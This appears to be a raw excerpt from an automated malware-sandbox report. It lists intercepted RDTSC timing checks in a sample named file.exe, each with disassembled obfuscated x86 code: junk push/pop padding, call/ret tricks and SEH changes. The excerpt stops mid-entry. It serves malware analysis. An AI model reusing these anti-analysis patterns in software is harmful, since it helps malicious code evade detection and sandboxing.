Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 786794 second address: 78679A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 788E5C second address: 788E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 788E62 second address: 788E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 788E66 second address: 788E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 788F1D second address: 788F4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F654C734E67h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 789277 second address: 7892B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F654CE0FA16h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jp 00007F654CE0FA10h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F654CE0FA08h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7892B5 second address: 789339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F654C734E5Fh 0x00000012 pop eax 0x00000013 mov dword ptr [ebp+122D1D8Bh], ebx 0x00000019 lea ebx, dword ptr [ebp+1244DD99h] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F654C734E58h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 movzx ecx, di 0x0000003c jmp 00007F654C734E67h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 js 00007F654C734E58h 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A79F3 second address: 7A7A11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7A11 second address: 7A7A2A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F654C734E63h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7A2A second address: 7A7A52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Dh 0x00000007 jnc 00007F654CE0FA12h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7A52 second address: 7A7A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7D25 second address: 7A7D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7D2B second address: 7A7D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7E8C second address: 7A7EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA12h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F654CE0FA18h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7EBE second address: 7A7EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7EC2 second address: 7A7EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A7EC6 second address: 7A7ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A82CF second address: 7A82D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A82D5 second address: 7A82D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A82D9 second address: 7A82DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A82DD second address: 7A8305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007F654C734E56h 0x00000012 jo 00007F654C734E56h 0x00000018 ja 00007F654C734E56h 0x0000001e popad 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A846B second address: 7A847C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F654CE0FA0Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A873A second address: 7A8740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A887F second address: 7A8897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jmp 00007F654CE0FA0Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A8B47 second address: 7A8B67 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654C734E68h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A8B67 second address: 7A8B82 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jnc 00007F654CE0FA06h 0x00000010 jnl 00007F654CE0FA06h 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 79C7AB second address: 79C7B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F654C734E5Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A8D08 second address: 7A8D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnl 00007F654CE0FA0Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A929A second address: 7A92AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654C734E5Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A92AF second address: 7A92DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA11h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F654CE0FA12h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9559 second address: 7A9562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9562 second address: 7A9568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9568 second address: 7A956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9948 second address: 7A9950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9950 second address: 7A9955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A9955 second address: 7A999E instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA19h 0x00000008 jmp 00007F654CE0FA19h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F654CE0FA11h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7A999E second address: 7A99A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F654C734E56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AD184 second address: 7AD18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F654CE0FA06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AC258 second address: 7AC25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AD21F second address: 7AD223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7AEBF0 second address: 7AEC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F654C734E67h 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F654C734E56h 0x00000018 jc 00007F654C734E56h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B3989 second address: 7B398E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B3EA8 second address: 7B3EC4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F654C734E56h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F654C734E5Eh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B3EC4 second address: 7B3ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5847 second address: 7B584B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B584B second address: 7B5855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5855 second address: 7B5859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5859 second address: 7B585D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B585D second address: 7B586C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5C82 second address: 7B5C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5C89 second address: 7B5C8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5C8F second address: 7B5C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B5C93 second address: 7B5C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B64DB second address: 7B64E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B64E1 second address: 7B64F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F654C734E60h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7B6F31 second address: 7B6F52 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F654CE0FA10h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F654CE0FA08h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BAB80 second address: 7BAB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F654C734E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BAB8A second address: 7BAB8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BB5CA second address: 7BB5CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BB3A9 second address: 7BB3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BB5CE second address: 7BB61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d add dword ptr [ebp+122D1D90h], ebx 0x00000013 push 00000000h 0x00000015 add di, F362h 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d jnc 00007F654C734E5Ch 0x00000023 mov dword ptr [ebp+1245F92Ch], edx 0x00000029 mov dword ptr [ebp+122D2593h], eax 0x0000002f popad 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 js 00007F654C734E5Ch 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BB61A second address: 7BB62F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F654CE0FA06h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BB62F second address: 7BB638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BF306 second address: 7BF311 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F654CE0FA06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C1E0C second address: 7C1E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BE0C4 second address: 7BE0E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C2CAA second address: 7C2CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7BE0E3 second address: 7BE0F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jng 00007F654CE0FA14h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C2CAF second address: 7C2D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+12447F15h], ecx 0x00000012 mov dword ptr [ebp+122D1C29h], edi 0x00000018 push 00000000h 0x0000001a or dword ptr [ebp+12474EEFh], eax 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F654C734E58h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edi, 515B2000h 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push ebx 0x00000045 pushad 0x00000046 popad 0x00000047 pop ebx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C2D04 second address: 7C2D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C3D32 second address: 7C3D4C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F654C734E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F654C734E5Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C3D4C second address: 7C3D56 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C3D56 second address: 7C3D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C4E1F second address: 7C4E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C4E23 second address: 7C4EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007F654C734E60h 0x00000010 nop 0x00000011 jmp 00007F654C734E63h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F654C734E58h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F654C734E58h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push eax 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C4EA0 second address: 7C4EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C4EA4 second address: 7C4EC1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654C734E65h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C6F73 second address: 7C6F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C8055 second address: 7C8059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C7082 second address: 7C7093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C8059 second address: 7C808F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F654C734E67h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1E5Ch], esi 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jns 00007F654C734E56h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C7093 second address: 7C7099 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C808F second address: 7C8094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C7099 second address: 7C709F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C709F second address: 7C713E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or dword ptr [ebp+122D270Dh], ebx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F654C734E58h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 jmp 00007F654C734E5Ah 0x0000003c mov eax, dword ptr [ebp+122D0BC5h] 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007F654C734E58h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c mov bl, 10h 0x0000005e mov edi, esi 0x00000060 push FFFFFFFFh 0x00000062 jmp 00007F654C734E63h 0x00000067 nop 0x00000068 jmp 00007F654C734E5Ah 0x0000006d push eax 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C81D4 second address: 7C81DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C713E second address: 7C7142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7C81DA second address: 7C8249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b add bx, F593h 0x00000010 xor bl, FFFFFFE0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a sub dword ptr [ebp+122D247Dh], ebx 0x00000020 mov dword ptr [ebp+122D3247h], ebx 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d sub dword ptr [ebp+122D1CF3h], ecx 0x00000033 mov eax, dword ptr [ebp+122D01A5h] 0x00000039 mov edi, 231EC5D2h 0x0000003e push FFFFFFFFh 0x00000040 push 00000000h 0x00000042 push edi 0x00000043 call 00007F654CE0FA08h 0x00000048 pop edi 0x00000049 mov dword ptr [esp+04h], edi 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc edi 0x00000056 